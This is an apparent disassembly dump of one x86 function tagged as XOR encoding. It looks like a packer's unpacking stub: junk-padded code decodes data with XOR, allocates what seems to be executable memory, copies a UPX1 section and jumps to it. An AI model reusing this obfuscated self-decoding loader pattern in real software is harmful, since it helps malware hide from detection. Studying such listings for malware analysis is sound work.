Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x87c2abad
dec edi
not edi
mov edi, ecx
popal
dec edi
add edi, 0x4ad322a8
not edi
mov eax, 0
mov ecx, edi
sub ebx, edx
dec ebx
mov esi, ecx
dec ebx
mov edx, 0x7db798e8
mov edi, esi
and ebx, edx
inc ebx
inc eax
or edx, edx
mov edx, 0x18fff30c
cmp eax, 0x1005640
jne 0xa789c6
add ebx, 1
not ebx
or ecx, edi
or ecx, edi
mov edx, 0xa78796
mov edi, 0x7f824508
add edi, 0x74c9927c
mov ecx, 0xa7898a
dec eax
add eax, 0xc35861e7
mov ebx, dword [edx]
mov edi, 0xd6075e76
inc edi
and ebx, 0xff
dec edi
add eax, esi
sub esi, eax
xor dword [ecx], ebx
dec esi
mov eax, edi
dec eax
inc ecx
inc esi
sub edi, 1
add edx, 1
mov edi, esi
and edi, eax
cmp ecx, entry0
jl 0xa78a14
mov eax, 0x52e13649
dec edi
and eax, edi
sub esi, eax
and eax, edi
mov eax, 0x835b8eec
sub ebx, 0x10e1bc11
mov esi, ebx
mov edx, 0xa7898e
and esi, ebx
inc ebx
dec ebx
mov edx, dword [edx]
add ebx, ecx
add ebx, 0x96fd01e6
mov ebx, 0xd148f52
mov edx, dword [edx]
mov ebx, ecx
add ebx, ebx
add esi, 0x563cd952
push edx
add ebx, ecx
and esi, ecx
sub esi, ecx
mov edx, 0xa7898a
mov ebx, esi
add ecx, 0x669ab74e
add ecx, ebx
mov edx, dword [edx]
inc ecx
or ebx, esi
mov edx, dword [edx]
mov esi, 0x74c87d6f
sub ecx, 0xa014b54
sub esp, 4
mov dword [esp], 0xa78992
not ecx
dec ebx
call edx
sub ebx, 1
mov edi, esi
sub edi, 0x7bd55453
pop edx
add ebx, 0xe08cbbeb
add edi, ebx
and ecx, edi
sub esp, 4
mov dword [esp], 0xa7899f
mov ecx, 0xf905cc2c
add esi, 0x9eeee7c0
sub esp, 4
mov dword [esp], eax
dec ebx
or ebx, ecx
and edi, esi
call edx
mov ebx, 0x3c73e1a8
mov esi, ecx
and edi, ecx
sub esp, 4
mov dword [esp], 0x40
sub edi, 0xe74d591c
add esi, 0x3ed97698
push 0x3000
mov ecx, ebx
mov edi, 0xb5f885ac
add ecx, 0x4db2507a
push 0x2000030a
inc ecx
add edi, ebx
add edi, esi
push 0
mov esi, 0x159b103a
mov esi, 0xd4cb83e3
add esi, ebx
call eax
sub edi, 0xe4be8966
not ecx
and ebx, ecx
add eax, 0x20000261
and esi, esi
sub edi, 0x3c3dc479
sub ebx, 0xd68b8ed1
mov edx, 0x900cd601
not esi
sub edi, ebx
mov dword [eax], edx
sub ebx, ecx
mov ebx, ecx
sub esi, 0xf74735
mov edx, dword [eax]
mov ebx, 0xe60e2fe3
and esi, ecx
cmp edx, 0x900cd601
je 0xa78b93
mov edx, 0
mov cl, byte [edx]
add ebx, esi
mov edi, 0x3dc3a552
sub ebx, esi
sub ebx, ecx
sub ecx, ebx
mov edi, ecx
mov edi, 0x3d58720b
not edi
add edi, edi
mov edx, section.UPX1
inc edi
add ecx, 0xbeb263a5
add ecx, 0x16c41d6e
mov eax, 0xa78795
sub edi, ecx
dec edi
add ecx, edi
mov esi, 0
inc ecx
not edi
mov ebx, 0xa78796
mov ecx, 0x4656967a
add ecx, 0xa110adf7
mov ecx, edi
lea ebx, [esi + ebx]
mov edi, ecx
and edi, ecx
mov ecx, edi
mov ebx, dword [ebx]
add edi, 0xaee63b13
mov ecx, edi
and ebx, 0xff
and edi, edi
and ecx, ecx
add ecx, 0x51b64429
add esi, 1
sub edi, ecx
sub ecx, 0x27d37ac3
cmp esi, 0x1f4
jne 0xa78c1f
mov esi, 0
add edi, 0x44569e4d
add ecx, 0x6c2237f
dec ecx
not edi
dec edi
xor dword [edx], ebx
or edi, ecx
mov ecx, edi
sub edi, 0x777e607c
add edx, 2
not ecx
dec ecx
sub edi, 0x50459ec3
cmp edx, eax
jl 0xa78bcf
inc edi
mov ecx, edi
not edi
and edi, edi
dec ecx
mov eax, section.UPX1
mov esi, ecx
mov ecx, esi
inc esi
mov edx, section.UPX1
mov ecx, 0x67caa4cb
not esi
not esi
mov edi, 0xa78795
mov ecx, esi
sub ecx, esi
mov esi, ecx
mov ebx, 0
dec esi
mov ecx, 0xf3ba6274
mov bl, byte [edx]
dec ecx
mov esi, 0xa8701e75
not ecx
mov byte [eax], bl
add ecx, ecx
sub esi, ecx
not ecx
add eax, 1
or esi, esi
and esi, esi
or esi, esi
add edx, 2
add esi, 0xac6bda96
dec esi
cmp edx, edi
jle 0xa78c88
add ecx, 0x57dbefe1
and ecx, esi
and ecx, ecx
or edi, ecx
push 0x8dc6a0
inc edi
sub edi, 0x676cce83
ret